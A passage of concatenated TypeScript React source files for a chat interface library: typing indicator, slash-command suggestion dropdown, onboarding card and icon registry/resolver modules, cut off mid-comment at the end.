disabled:opacity-40 disabled:hover:text-ods-text-secondary\",\n              )}\n            >\n              {isStopMode ? <StopCircleIcon size={20} /> : <Send01Icon size={20} />}\n            </button>\n          </div>\n        </div>\n      )}\n    </div>\n  )\n})\n\nChatInput.displayName = \"ChatInput\"\n\nexport { ChatInput }\n","import * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport type { ChatTypingIndicatorProps } from \"./types\"\n\nconst ChatTypingIndicator = React.forwardRef<HTMLDivElement, ChatTypingIndicatorProps>(\n  ({ className, size = 'md', showText = false, dotClassName, ...props }, ref) => {\n    const dotSizeClasses = {\n      sm: 'w-1 h-1',\n      md: 'w-1.5 h-1.5',\n      lg: 'w-2 h-2'\n    }\n\n    const containerSizeClasses = {\n      sm: 'h-4',\n      md: 'h-6',\n      lg: 'h-8'\n    }\n\n    const dotAnimation = `\n      @keyframes dotPulse {\n        0%, 80%, 100% {\n          transform: scale(1);\n          opacity: 0.7;\n        }\n        40% {\n          transform: scale(1.5);\n          opacity: 1;\n        }\n      }\n    `\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\"flex items-center gap-2\", className)}\n        {...props}\n      >\n        <style dangerouslySetInnerHTML={{ __html: dotAnimation }} />\n        {showText && (\n          <span className=\"text-ods-text-secondary text-h6\">Assistant is typing</span>\n        )}\n        <div className={cn(\n          \"inline-flex items-center justify-center gap-1\",\n          containerSizeClasses[size]\n        )}>\n          <div \n            className={cn(\n              dotSizeClasses[size],\n              \"rounded-full\",\n              dotClassName || \"bg-ods-text-primary\"\n            )}\n            style={{ \n              animation: 'dotPulse 1.4s ease-in-out infinite',\n              animationDelay: '0ms' \n            }}\n          />\n          <div \n            className={cn(\n              dotSizeClasses[size],\n              \"rounded-full\",\n              dotClassName || \"bg-ods-text-primary\"\n            )}\n            style={{ \n              animation: 'dotPulse 1.4s ease-in-out infinite',\n              animationDelay: '200ms' \n            }}\n          />\n          <div \n            className={cn(\n              dotSizeClasses[size],\n              \"rounded-full\",\n              dotClassName || \"bg-ods-text-primary\"\n            )}\n            style={{ \n              animation: 'dotPulse 1.4s ease-in-out infinite',\n              animationDelay: '400ms' \n            }}\n          />\n        </div>\n      </div>\n    )\n  }\n)\n\nChatTypingIndicator.displayName = \"ChatTypingIndicator\"\n\nexport { ChatTypingIndicator }","'use client'\n\nimport type { KeyboardEvent } from 'react'\nimport { cn } from '../../utils/cn'\nimport { MingoOnboardingCard } from './mingo-onboarding-card'\nimport { resolveIcon } from './utils/icon-library'\nimport type {\n  SlashCommandActionId,\n  SlashCommandSourceMeta,\n  SlashCommandSummary,\n} from './types'\n\ninterface SlashCommandSuggestionsProps {\n  /** Filtered command list to render. Empty list → component renders null. */\n  commands: SlashCommandSummary[]\n  /** Index of the currently-highlighted suggestion (keyboard cursor or hover). */\n  highlightedIdx: number\n  /** Hover callback so keyboard + mouse stay in sync. */\n  onHover: (idx: number) => void\n  /** Click / Enter callback — the row's \"default\" action (clicking\n   *  anywhere on the row body, NOT one of the explicit action buttons).\n   *  The host typically maps this to \"Search-mode pre-fill\" (setValue\n   *  `/<cmd> ` with cursor at end). */\n  onSelect: (cmd: SlashCommandSummary) => void\n  /** Legacy `primarySourceId` → icon resolver. Used as a FALLBACK only\n   *  when `cmd.iconName` is missing. Newer command summaries carry\n   *  `iconName` directly and route through `resolveIcon` so\n   *  the dropdown row uses the same icon registry as the empty-state\n   *  onboarding cards. */\n  resolveSourceIcon?: (sourceId: string) => SlashCommandSourceMeta | undefined\n  /** Generic action handler — fires when the user clicks any of the\n   *  command's action buttons. The action's id discriminates the\n   *  dispatch behavior (browse / search / find / …); the host owns\n   *  the mapping. When undefined, NO action buttons render. */\n  onAction?: (cmd: SlashCommandSummary, actionId: SlashCommandActionId) => void\n  /** Optional className override for positioning (e.g. `absolute bottom-full`). */\n  className?: string\n}\n\n/**\n * Slash-command autocomplete dropdown.\n *\n * Visually mirrors the empty-state onboarding list: each row is rendered\n * via `MingoOnboardingCard` (Figma node `7363:205939`) so the dropdown\n * and the empty-state share one card design. Rows are stacked inside a\n * `rounded-md` container whose `overflow-hidden` clips each card's\n * `border-b` divider into a clean 1-px frame.\n *\n * Icon resolution priority:\n *   1. `cmd.iconName` → `resolveIcon` (production path —\n *      matches the keys returned by `/api/docs/commands`).\n *   2. `cmd.primarySourceId` → consumer-provided `resolveSourceIcon`\n *      (legacy fallback for command feeds without `iconName`).\n *   3. `FileIcon` (default inside `resolveIcon`).\n *\n * Clicking the row body fires `onSelect` (the host typically maps this\n * to Search-mode pre-fill so the user can refine). Clicking an action\n * button fires `onAction(cmd, actionId)` — the card's action buttons\n * already `stopPropagation` so the row click doesn't double-fire.\n *\n * Accessibility: the outer container is `role=\"menu\"`; each row is\n * `role=\"menuitem\"` with `aria-current` for the highlighted row. The\n * menu (not listbox) is used because ARIA 1.2 forbids interactive\n * descendants inside `role=\"option\"`, and our rows host inline action\n * buttons.\n */\nexport function SlashCommandSuggestions({\n  commands,\n  highlightedIdx,\n  onHover,\n  onSelect,\n  resolveSourceIcon,\n  onAction,\n  className,\n}: SlashCommandSuggestionsProps) {\n  if (commands.length === 0) return null\n  return (\n    <div\n      role=\"menu\"\n      aria-label=\"Slash command suggestions\"\n      className={cn(\n        'absolute bottom-full mb-2 left-0 right-0 z-50 max-h-96 overflow-y-auto overscroll-contain',\n        'rounded-md border border-ods-border bg-ods-card shadow-lg',\n        className,\n      )}\n    >\n      {commands.map((cmd, idx) => {\n        const Icon = resolveIcon(cmd.iconName)\n        // Legacy resolver runs ONLY when `iconName` is missing — otherwise\n        // the v2 registry above is authoritative.\n        const legacyMeta =\n          !cmd.iconName && cmd.primarySourceId && resolveSourceIcon\n            ? resolveSourceIcon(cmd.primarySourceId)\n            : undefined\n        const LegacyIcon = legacyMeta?.Icon\n        // Display label priority — single source of truth, same field\n        // that drives the empty-state chip title so the dropdown row\n        // and the chip never drift:\n        //   1. `cmd.label` — DB-projected per-command label.\n        //   2. `legacyMeta.label` — legacy resolver fallback.\n        //   3. `cmd.id` — raw slug, last-resort identifier.\n        const title = cmd.label ?? legacyMeta?.label ?? cmd.id\n        const isHighlighted = idx === highlightedIdx\n        // `/cmd [arg-hint]` rendered in the slashCommand slot so the\n        // card's existing right-rail typography (h6 / secondary text)\n        // applies uniformly to both segments.\n        const slashLabel = cmd.argumentHint\n          ? `/${cmd.id} ${cmd.argumentHint}`\n          : `/${cmd.id}`\n        const cardActions =\n          onAction && cmd.actions.length > 0\n            ? cmd.actions.map((action) => ({\n                id: action.id,\n                label: action.label,\n                onClick: (e: React.MouseEvent<HTMLButtonElement>) => {\n                  e.stopPropagation()\n                  onAction(cmd, action.id)\n                },\n              }))\n            : undefined\n        return (\n          <div\n            key={cmd.id}\n            role=\"menuitem\"\n            aria-current={isHighlighted ? 'true' : undefined}\n            tabIndex={-1}\n            onMouseEnter={() => onHover(idx)}\n            onClick={() => onSelect(cmd)}\n            onKeyDown={(e: KeyboardEvent<HTMLDivElement>) => {\n              // Enter/Space activate; arrow keys are owned by the\n              // parent input (which manages `highlightedIdx`).\n              if (e.key === 'Enter' || e.key === ' ') {\n                e.preventDefault()\n                onSelect(cmd)\n              }\n            }}\n            className=\"cursor-pointer outline-none\"\n          >\n            <MingoOnboardingCard\n              icon={\n                LegacyIcon ? (\n                  <LegacyIcon className=\"size-4\" />\n                ) : (\n                  <Icon size={16} />\n                )\n              }\n              title={title}\n              slashCommand={slashLabel}\n              description={cmd.description}\n              actions={cardActions}\n              className={cn(\n                'transition-colors',\n                isHighlighted && 'bg-ods-bg-hover',\n              )}\n            />\n          </div>\n        )\n      })}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Button } from '../ui/button'\n\nexport interface MingoOnboardingCardAction {\n  /** Stable React key. */\n  id: string\n  /** Button label (e.g. \"Recent\", \"Search\", \"Find\"). Rendered as-is. */\n  label: React.ReactNode\n  /** Click handler — receives the original mouse event so callers that\n   *  also have a card-level `onClick` can `stopPropagation`. */\n  onClick: (event: React.MouseEvent<HTMLButtonElement>) => void\n}\n\nexport interface MingoOnboardingCardProps {\n  /** Leading 16×16 icon rendered to the left of the title row. */\n  icon?: React.ReactNode\n  /** Card title (DM Sans Medium 14px, white). Truncates on overflow. */\n  title: React.ReactNode\n  /** Slash-command label rendered right-aligned in the title row (e.g. `/roadmap`). */\n  slashCommand?: React.ReactNode\n  /** Optional description rendered below the title row. */\n  description?: React.ReactNode\n  /** Optional row of small outline action buttons rendered below the\n   *  description (e.g. `Recent`, `Search`, `Find`). When supplied, the\n   *  card itself stays a non-interactive `<div>` — each action button\n   *  owns its own click contract. */\n  actions?: ReadonlyArray<MingoOnboardingCardAction>\n  /** Optional click handler — when set AND `actions` is empty/undefined,\n   *  the card renders as a `<button>` with hover/focus affordances.\n   *  Ignored when `actions` is non-empty. */\n  onClick?: () => void\n  /** Optional className appended to the root element. */\n  className?: string\n}\n\n/**\n * MingoOnboardingCard — Figma node `7363:205939`.\n *\n * A single onboarding/slash-command row card used inside the chat\n * empty-state list. Background `ods-card` (#212121), `border-b` (#3a3a3a)\n * acts as a 1-px divider between stacked cards; the consumer is expected\n * to render multiple cards in a column inside a `rounded-md` container so\n * the bottom-most card's `last:border-b-0` keeps the visual frame clean.\n *\n * Typography mirrors Figma's `h6 - captions` (DM Sans Medium 14px,\n * letter-spacing 0). Title uses `text-ods-text-primary`, the right-rail\n * `/cmd` label and the description use `text-ods-text-secondary`.\n *\n * Optional `actions` row renders small outline-chip buttons below the\n * description (Recent / Search / Find pattern from the legacy chip-grid)\n * so each row can expose multiple affordances without leaving the card.\n */\nexport function MingoOnboardingCard({\n  icon,\n  title,\n  slashCommand,\n  description,\n  actions,\n  onClick,\n  className,\n}: MingoOnboardingCardProps) {\n  const hasActions = !!actions && actions.length > 0\n  const isInteractive = !hasActions && !!onClick\n\n  const body = (\n    <div className=\"flex flex-col gap-[var(--spacing-system-xxs)] w-full\">\n      <div className=\"flex items-center gap-[var(--spacing-system-xxs)] w-full\">\n        {icon ? (\n          // Icon slot — monochrome `ods-text-secondary` (≈ #888) so\n          // consumers can drop any `icons-v2-generated` glyph (they use\n          // `currentColor`) without per-card styling. Brand multi-color\n          // SVGs ignore this color.\n          <span className=\"flex shrink-0 size-4 items-center justify-center text-ods-text-secondary\">\n            {icon}\n          </span>\n        ) : null}\n        <span className=\"flex-1 min-w-0 truncate text-h6 text-ods-text-primary\">\n          {title}\n        </span>\n        {slashCommand ? (\n          <span className=\"text-h6 text-ods-text-secondary whitespace-nowrap\">\n            {slashCommand}\n          </span>\n        ) : null}\n      </div>\n      {description ? (\n        <p className=\"text-h6 text-ods-text-secondary w-full\">{description}</p>\n      ) : null}\n      {hasActions ? (\n        <div className=\"flex flex-wrap items-center gap-[var(--spacing-system-xxs)] mt-[var(--spacing-system-xs)]\">\n          {actions!.map((action) => (\n            <Button\n              key={action.id}\n              type=\"button\"\n              variant=\"outline\"\n              size=\"small\"\n              onClick={(e) => {\n                e.stopPropagation()\n                action.onClick(e)\n              }}\n            >\n              {action.label}\n            </Button>\n          ))}\n        </div>\n      ) : null}\n    </div>\n  )\n\n  const baseClass = cn(\n    'flex w-full items-start p-[var(--spacing-system-s)] bg-ods-card border-b border-ods-border last:border-b-0 text-left',\n    isInteractive &&\n      'transition-colors hover:bg-ods-bg-hover focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent cursor-pointer',\n    className,\n  )\n\n  if (isInteractive) {\n    return (\n      <button type=\"button\" onClick={onClick} className={baseClass}>\n        {body}\n      </button>\n    )\n  }\n\n  return <div className={baseClass}>{body}</div>\n}\n","/**\n * Icon registry — string `icon_name` → React component.\n *\n * SINGLE SOURCE OF TRUTH (no, really this time) for every icon-name →\n * React-component lookup across the lib + the hub. Two DB columns feed\n * in with DIFFERENT conventions:\n *\n *   - `chat_admin_slash_commands.icon_name` — kebab-case (`'rocket'`,\n *     `'hubspot'`, `'github'`, `'dollar-sign'`).\n *   - `social_platforms.icon_name` — PascalCase component names\n *     (`'LinkedInIcon'`, `'XLogo'`, `'YouTubeIcon'`, `'Github'`).\n *\n * The registry stores entries under kebab-case keys (URL/DB-friendly,\n * shell-safe, matches `lucide-react`'s own file-naming convention).\n * The PascalCase variants come in via `normalizeIconKey()`, which maps\n * known PascalCase aliases → kebab-case before the lookup runs.\n *\n * Adding a new icon: import the component below, add a `'name': Component`\n * entry in `ICON_REGISTRY`, and (if the same icon also flows in from a DB\n * column that uses PascalCase) add a `PascalName → 'name'` row to\n * `PASCAL_TO_KEBAB_ALIASES`.\n *\n * Fallback: an unknown / null icon_name resolves to `FileText` so a chip\n * never renders without an icon.\n */\n\nimport { createElement, type ComponentType, type ReactNode } from 'react'\nimport {\n  Activity,\n  Banknote,\n  Bell,\n  BookOpen,\n  Box,\n  Briefcase,\n  Calendar,\n  CheckSquare,\n  DollarSign,\n  Facebook,\n  FileText,\n  Github,\n  Globe,\n  GraduationCap,\n  Headphones,\n  Info,\n  Instagram,\n  Mail,\n  Megaphone,\n  MessageCircle,\n  MessageSquare,\n  Newspaper,\n  Package,\n  PenSquare,\n  Rocket,\n  Search,\n  Send,\n  Shield,\n  Star,\n  TableProperties,\n  TrendingUp,\n  Twitter,\n  Users,\n  Video,\n  Youtube,\n} from 'lucide-react'\n// Brand icons — lib-local exports.\nimport {\n  SlackIcon,\n  GitHubIcon,\n  ClickUpIcon,\n  HubspotIcon,\n  LinkedInIcon,\n  FacebookIcon,\n  InstagramIcon,\n  YouTubeIcon,\n  WhatsAppIcon,\n  XLogo,\n  OpenFrameLogo as RawOpenFrameLogo,\n} from '../../icons'\n\n// Wrapper so the OpenFrame logo's outer frame inherits the parent's text\n// color instead of its hardcoded default — that default is invisible on\n// dark chat surfaces. The white squares stay white (visible on dark).\n// With this, the parent's `text-ods-text-primary` propagates via\n// `currentColor` and the frame renders in the same primary text color\n// as the lucide icons next to it. Uses `createElement` (not JSX) so this\n// stays a `.ts` file. Accepts `color` for shape-compat with the registry's\n// IconComponent type, but ignores it — the logo's outer frame is wired\n// to `currentColor` via the upperPathColor pass-through.\nconst OpenFrameLogoIcon: ComponentType<{ className?: string; color?: string }> = ({ className }) =>\n  createElement(RawOpenFrameLogo, { className, upperPathColor: 'currentColor' })\n\n/**\n * Loose icon-component shape: every entry accepts `className`; `color` is\n * optional (lucide + most brand icons accept it; OpenFrameLogo doesn't,\n * but `color` is optional so passing `undefined` is a no-op). Loose enough\n * to accept both lucide's `LucideIcon` and our brand SVG components.\n */\ntype IconComponent = ComponentType<{ className?: string; color?: string }>\n\n/**\n * The kebab-case registry. ALL lookups go through here; PascalCase\n * aliases route through `normalizeIconKey()` first.\n */\nexport const ICON_REGISTRY: Record<string, IconComponent> = {\n  // lucide-react (kebab-case)\n  activity:          Activity,\n  banknote:          Banknote,\n  bell:              Bell,\n  'book-open':       BookOpen,\n  box:               Box,\n  briefcase:         Briefcase,\n  calendar:          Calendar,\n  'check-square':    CheckSquare,\n  'dollar-sign':     DollarSign,\n  // For brand-vs-lucide variants the kebab key is the BRAND (most-common\n  // social-platform intent); `'<name>-lucide'` carries the lucide outline.\n  facebook:          FacebookIcon,\n  'facebook-lucide': Facebook,\n  'file-text':       FileText,\n  // `'github-lucide'` is the lucide outline glyph (used by\n  // `social_platforms.icon_name='Github'`); `'github'` is the brand icon\n  // (used by `chat_admin_slash_commands.icon_name='github'`). The PascalCase\n  // alias `'Github' → 'github-lucide'` routes the lucide glyph for\n  // social-platform DB rows; `'GitHubIcon' → 'github'` keeps brand routing\n  // consistent for callers that store the PascalCase component name.\n  github:            GitHubIcon,\n  'github-lucide':   Github,\n  globe:             Globe,\n  'graduation-cap':  GraduationCap,\n  headphones:        Headphones,\n  info:              Info,\n  instagram:         InstagramIcon,\n  'instagram-lucide': Instagram,\n  mail:              Mail,\n  megaphone:         Megaphone,\n  'message-circle':  MessageCircle,\n  'message-square':  MessageSquare,\n  newspaper:         Newspaper,\n  package:           Package,\n  'pen-square':      PenSquare,\n  rocket:            Rocket,\n  search:            Search,\n  send:              Send,\n  shield:            Shield,\n  star:              Star,\n  table:             TableProperties,\n  'trending-up':     TrendingUp,\n  twitter:           Twitter,\n  users:             Users,\n  video:             Video,\n  whatsapp:          WhatsAppIcon,\n  youtube:           YouTubeIcon,\n  'youtube-lucide':  Youtube,\n  // brand-only icons (no lucide variant in current use)\n  slack:             SlackIcon,\n  clickup:           ClickUpIcon,\n  hubspot:           HubspotIcon,\n  linkedin:          LinkedInIcon,\n  x:                 XLogo,\n  openframe:         OpenFrameLogoIcon,\n}\n\n/**\n * PascalCase → kebab-case alias table for DB columns that store icon\n * names as component identifiers (currently `social_platforms.icon_name`).\n * Keep these in sync with the actual rows in those tables.\n */\nconst PASCAL_TO_KEBAB_ALIASES: Record<string, string> = {\n  // Lucide PascalCase names → kebab equivalents\n  Activity:        'activity',\n  Banknote:        'banknote',\n  Bell:            'bell',\n  BookOpen:        'book-open',\n  Box:             'box',\n  Briefcase:       'briefcase',\n  Calendar:        'calendar',\n  CheckSquare:     'check-square',\n  DollarSign:      'dollar-sign',\n  // Lucide PascalCase → the `-lucide` kebab variant (kebab default is the\n  // brand icon for the social-platform names below).\n  Facebook:        'facebook-lucide',\n  FileText:        'file-text',\n  Github:          'github-lucide',\n  Globe:           'globe',\n  GraduationCap:   'graduation-cap',\n  Headphones:      'headphones',\n  Info:            'info',\n  Instagram:       'instagram-lucide',\n  Mail:            'mail',\n  Megaphone:       'megaphone',\n  MessageCircle:   'message-circle',\n  MessageSquare:   'message-square',\n  Newspaper:       'newspaper',\n  Package:         'package',\n  PenSquare:       'pen-square',\n  Rocket:          'rocket',\n  Search:          'search',\n  Send:            'send',\n  Shield:          'shield',\n  Star:            'star',\n  TableProperties: 'table',\n  TrendingUp:      'trending-up',\n  Twitter:         'twitter',\n  Users:           'users',\n  Video:           'video',\n  Youtube:         'youtube-lucide',\n  // Brand-icon PascalCase exports → kebab (kebab default is the brand)\n  SlackIcon:        'slack',\n  GitHubIcon:       'github',\n  ClickUpIcon:      'clickup',\n  HubspotIcon:      'hubspot',\n  LinkedInIcon:     'linkedin',\n  FacebookIcon:     'facebook',\n  InstagramIcon:    'instagram',\n  YouTubeIcon:      'youtube',\n  WhatsAppIcon:     'whatsapp',\n  XLogo:            'x',\n  OpenFrameLogo:    'openframe',\n}\n\n/**\n * Normalize an icon key to the registry's canonical kebab-case form.\n * Accepts PascalCase variants (from `social_platforms.icon_name`-style\n * columns) and passes kebab-case keys through unchanged.\n */\nexport function normalizeIconKey(key: string): string {\n  return PASCAL_TO_KEBAB_ALIASES[key] ?? key\n}\n\n/**\n * Resolve an `icon_name` to its React component. Accepts both PascalCase\n * and kebab-case keys (normalizes PascalCase first). Unknown / null /\n * undefined names fall back to `FileText` — chips always render with\n * SOMETHING rather than a missing glyph. The fallback is intentional:\n * a typo in a new admin-authored row shouldn't crash render.\n */\nexport function getIconComponent(\n  iconName: string | null | undefined,\n): ComponentType<{ className?: string; color?: string }> {\n  if (!iconName) return FileText\n  return ICON_REGISTRY[normalizeIconKey(iconName)] ?? FileText\n}\n\n// ---------------------------------------------------------------------------\n// Sized-icon rendering helper (migrated from `src/utils/dynamic-icons.tsx`)\n// ---------------------------------------------------------------------------\n\nexport type DynamicIconSize = 'xs' | 'sm' | 'md' | 'lg' | 'xl'\n\nconst SIZE_CLASSES: Record<DynamicIconSize, string> = {\n  xs: 'w-3 h-3',    // 12px\n  sm: 'w-4 h-4',    // 16px\n  md: 'w-6 h-6',    // 24px\n  lg: 'w-8 h-8',    // 32px\n  xl: 'w-12 h-12',  // 48px\n}\n\n/**\n * Optional per-icon color overrides. Keys are kebab-case (canonical\n * registry form) — pass any incoming key through `normalizeIconKey()`\n * before lookup.\n */\nconst ICON_COLORS: Record<string, { color?: string; fill?: string }> = {\n  linkedin: { color: '#0A66C2' },\n  facebook: { color: '#1877F2' },\n  youtube: { color: '#FF0000' },\n}\n\n/**\n * Render an icon by name with a size preset + optional className.\n * Replaces the old `src/utils/dynamic-icons.tsx#getDynamicIcon`. Accepts\n * both PascalCase and kebab-case keys (via `normalizeIconKey()`).\n */\nexport function getDynamicIcon(\n  iconName: string | undefined | null,\n  size: DynamicIconSize = 'md',\n  className?: string,\n): ReactNode {\n  if (!iconName) {\n    console.warn('[getDynamicIcon] No iconName provided, using Globe fallback')\n    return createElement(Globe, { className: SIZE_CLASSES[size] })\n  }\n\n  const sizeClass = SIZE_CLASSES[size]\n  const finalClassName = className ? `${sizeClass} ${className}` : sizeClass\n\n  const canonicalKey = normalizeIconKey(iconName)\n  const IconComponent = ICON_REGISTRY[canonicalKey]\n\n  if (IconComponent) {\n    const colorConfig = ICON_COLORS[canonicalKey] || {}\n    return createElement(IconComponent, { className: finalClassName, ...colorConfig })\n  }\n\n  console.error(\n    `[getDynamicIcon] Icon NOT found in registry: \"${iconName}\" (normalized to \"${canonicalKey}\"). Available icons:`,\n    Object.keys(ICON_REGISTRY),\n  )\n  return createElement(Globe, { className: finalClassName })\n}\n","/**\n * Resolve the empty-state onboarding-card icon from a backend\n * `SlashCommandSummary.iconName`.\n *\n * Primary keys match the production `/api/docs/commands` contract\n * (multi-platform-hub) — short, source-system-style identifiers:\n *\n *   - `clickup` → ClickUp brand glyph (mono grey)\n *   - `slack`   → Slack brand glyph (mono grey)\n *   - `hubspot` → HubSpot brand glyph (mono grey)\n *   - `github`  → GitHub brand glyph\n *   - `openframe` → OpenFrame logo\n *   - `newspaper` / `rocket` / `briefcase` / `graduation-cap`\n *     / `video` / `calendar` / `headphones` → v2 generic glyphs\n *     mapped to the closest available icon in `icons-v2-generated`\n *\n * Figma-canonical keys (`clickup-logo-grey`, `logo-openframe`,\n * `rocket-02`, …) and a handful of generic v2 fall-throughs\n * (`search`, `ticket`, `bug`, …) are kept as aliases so the\n * Storybook fixtures and any older feed entries still resolve.\n *\n * Any `iconName` NOT in the curated map below is resolved generically\n * against the entire `icons-v2-generated` set by naming convention\n * (`chart-pie` → `ChartPieIcon`, `bank` → `BankIcon`, …) — see\n * `resolveFromLibrary`. So the full icon library is supported, and the\n * curated map only exists for aliases that don't map 1:1. Keys that\n * name no real icon (and `null`) fall back to `FileIcon` so a\n * misconfigured row still renders.\n */\n\nimport type { ComponentType, CSSProperties } from 'react'\n\nimport { getIconComponent } from './icon-registry'\nimport * as IconsV2 from '../../icons-v2-generated'\nimport { ClickupLogoGreyIcon } from '../../icons-v2-generated/brand-logos/clickup-logo-grey-icon'\nimport { GithubIcon } from '../../icons-v2-generated/brand-logos/github-icon'\nimport { HubspotLogoGreyIcon } from '../../icons-v2-generated/brand-logos/hubspot-logo-grey-icon'\nimport { SlackLogoGreyIcon } from '../../icons-v2-generated/brand-logos/slack-logo-grey-icon'\nimport { ChatsIcon } from '../../icons-v2-generated/communication/chats-icon'\nimport { BookIcon } from '../../icons-v2-generated/school/book-icon'\nimport { GraduationCapIcon } from '../../icons-v2-generated/school/graduation-cap-icon'\nimport { BracketCurlyIcon } from '../../icons-v2-generated/coding/bracket-curly-icon'\nimport { BugIcon } from '../../icons-v2-generated/coding/bug-icon'\nimport { CalendarIcon } from '../../icons-v2-generated/date-and-time/calendar-icon'\nimport { BriefcaseIcon } from '../../icons-v2-generated/map-and-travel/briefcase-icon'\nimport { CompassIcon } from '../../icons-v2-generated/map-and-travel/compass-icon'\nimport { FileIcon } from '../../icons-v2-generated/documents/file-icon'\nimport { LayersIcon } from '../../icons-v2-generated/design/layers-icon'\nimport { NewspaperIcon } from '../../icons-v2-generated/documents/newspaper-icon'\nimport { Rocket02Icon } from '../../icons-v2-generated/vehicles-and-delivery/rocket-02-icon'\nimport { HeadphoneIcon } from '../../icons-v2-generated/audio-and-visual/headphone-icon'\nimport { VideoRecorderIcon } from '../../icons-v2-generated/audio-and-visual/video-recorder-icon'\nimport { SearchIcon } from '../../icons-v2-generated/interface/search-icon'\nimport { TicketIcon } from '../../icons-v2-generated/shopping/ticket-icon'\nimport { OpenFrameLogo } from '../../icons/openframe-logo'\nimport { OpenmspLogo } from '../../icons/openmsp-logo'\nimport { FlamingoLogo } from '../../icons/flamingo-logo'\nimport { Megaphone, Bell, Info, Star, Package as PackageGlyph } from 'lucide-react'\n\n/** Shape used by every icon registered here (matches `icons-v2-generated`). */\nexport type IconComponent = ComponentType<{\n  size?: number\n  className?: string\n  color?: string\n}>\n\n/** Wrap a brand logo (className/SVG-sized) so it satisfies the `size`-prop\n *  `IconComponent` contract — drives size via `style` (CSS wins over\n *  the logo's hardcoded width/height), keeping the logo's own brand fill. */\nfunction sizedLogo(\n  Logo: ComponentType<{ className?: string; style?: CSSProperties }>,\n): IconComponent {\n  return function SizedLogo({ size = 16, className }) {\n    return <Logo className={className} style={{ width: size, height: size }} />\n  }\n}\nconst OpenmspLogoIcon = sizedLogo(OpenmspLogo)\nconst FlamingoLogoIcon = sizedLogo(FlamingoLogo)\n\n/**\n * `OpenFrameLogo` from `components/icons/` predates the v2 set and:\n *   1. hardcodes `width=\"32\" height=\"32\"` AFTER spreading `{...props}`,\n *      so we can't override via the `width` / `height` props — we drive\n *      size through `style` instead (CSS attribute wins over the HTML\n *      `width` / `height` attributes).\n *   2. defaults `lowerPathColor` to white and `upperPathColor` to\n *      `#1A1A1A` — the dark frame disappears on the chat's `ods-bg`\n *      surface. We pin both paths to `currentColor` so the glyph tints\n *      to whatever the card icon slot is (`ods-text-secondary` ≈ #888).\n */\nfunction LogoOpenframeIcon({\n  size = 16,\n  className,\n  color,\n}: {\n  size?: number\n  className?: string\n  color?: string\n}) {\n  // Forward `color` (from `icon_props.color`) like every other resolver-backed\n  // glyph; default to `currentColor` so the logo tints to its slot.\n  const tint = color ?? 'currentColor'\n  return (\n    <OpenFrameLogo\n      className={className}\n      lowerPathColor={tint}\n      upperPathColor={tint}\n      style={{ width: size, height: size }}\n    />\n  )\n}\n\n/**\n * Static registry — backend `iconName` → React component. Brand-grey\n * logos live in `icons-v2-generated/brand-logos/`; the rest are\n * monochrome v2 glyphs that inherit `currentColor` from the card slot\n * (`text-ods-text-secondary`).\n */\nexport const ICON_ALIASES: Record<string, IconComponent> = {\n  // Production `/api/docs/commands` keys (multi-platform-hub contract)\n  clickup: ClickupLogoGreyIcon,\n  slack: SlackLogoGreyIcon,\n  hubspot: HubspotLogoGreyIcon,\n  github: GithubIcon,\n  openframe: LogoOpenframeIcon,\n  newspaper: NewspaperIcon,\n  rocket: Rocket02Icon,\n  briefcase: BriefcaseIcon,\n  'graduation-cap': GraduationCapIcon,\n  video: VideoRecorderIcon,\n  headphones: HeadphoneIcon,\n  calendar: CalendarIcon,\n  compass: CompassIcon,\n\n  // Figma-canonical aliases (node 7363:205938) — kept for Storybook\n  // fixtures and any older feed entries still using the long names.\n  'clickup-logo': ClickupLogoGreyIcon,\n  'clickup-logo-grey': ClickupLogoGreyIcon,\n  'slack-logo': SlackLogoGreyIcon,\n  'slack-logo-grey': SlackLogoGreyIcon,\n  'hubspot-logo': HubspotLogoGreyIcon,\n  'hubspot-logo-grey': HubspotLogoGreyIcon,\n  'github-logo': GithubIcon,\n  'logo-openframe': LogoOpenframeIcon,\n  'rocket-01': Rocket02Icon,\n  'rocket-02': Rocket02Icon,\n\n  // Announcement-bar legacy names — folded in so resolveIcon covers them too\n  // (was the separate `renderSvgIcon` map; now ONE resolver everywhere).\n  'openframe-logo': LogoOpenframeIcon,\n  'openmsp-logo': OpenmspLogoIcon,\n  flamingo: FlamingoLogoIcon,\n  'flamingo-logo': FlamingoLogoIcon,\n  megaphone: Megaphone,\n  bell: Bell,\n  info: Info,\n  star: Star,\n  package: PackageGlyph,\n\n  // Generic v2-native keys — useful fall-throughs for slash commands that\n  // don't have a brand-specific glyph in the design.\n  search: SearchIcon,\n  ticket: TicketIcon,\n  book: BookIcon,\n  'book-open': BookIcon,\n  bug: BugIcon,\n  layers: LayersIcon,\n  file: FileIcon,\n  'file-text': FileIcon,\n  chats: ChatsIcon,\n  'message-square': ChatsIcon,\n  'message-circle': ChatsIcon,\n  'bracket-curly': BracketCurlyIcon,\n}\n\n/**\n * Generic resolution against the FULL `icons-v2-generated` set.\n *\n * Every generated icon follows one naming convention: a file named\n * `<kebab>-icon.tsx` exports a component `<PascalCase>Icon` with the\n * `{ size, className, color }` signature `IconComponent`\n * expects. So any backend `iconName` that names a real icon (e.g.\n * `chart-pie`, `bank`, `money-bill-dollar`, `piggy-bank`) resolves\n * here without a hand-maintained entry — the whole library is\n * supported, not just the curated aliases above.\n *\n * Two candidate PascalCase spellings are tried because the generator\n * is inconsistent about the `ai` token: the standalone AI glyphs\n * export `…AIIcon` (`BrainAIIcon`, `CodeAIIcon`), while the Adobe\n * Illustrator brand glyph keeps `AdobeAiIcon`. We try the literal\n * capitalization first, then the `ai → AI` variant, and take whichever\n * actually exists in the namespace (the namespace is the source of\n * truth, so we never guess wrong).\n */\nfunction resolveFromLibrary(\n  iconName: string,\n): IconComponent | undefined {\n  const tokens = iconName.trim().toLowerCase().replace(/_/g, '-').split('-')\n  if (tokens.some((t) => t.length === 0)) return undefined\n  const cap = (t: string) => t.charAt(0).toUpperCase() + t.slice(1)\n  const candidates = [\n    `${tokens.map(cap).join('')}Icon`,\n    `${tokens.map((t) => (t === 'ai' ? 'AI' : cap(t))).join('')}Icon`,\n  ]\n  const registry = IconsV2 as unknown as Record<string, IconComponent | undefined>\n  for (const name of candidates) {\n    const Icon = registry[name]\n    if (Icon) return Icon\n  }\n  return undefined\n}\n\n/**\n * THE single icon-name → component resolver for the whole app. Two variants —\n * one entry point, no duplicated resolver machinery:\n *\n *   • `'design'` (DEFAULT): the icons-v2 design set — chat 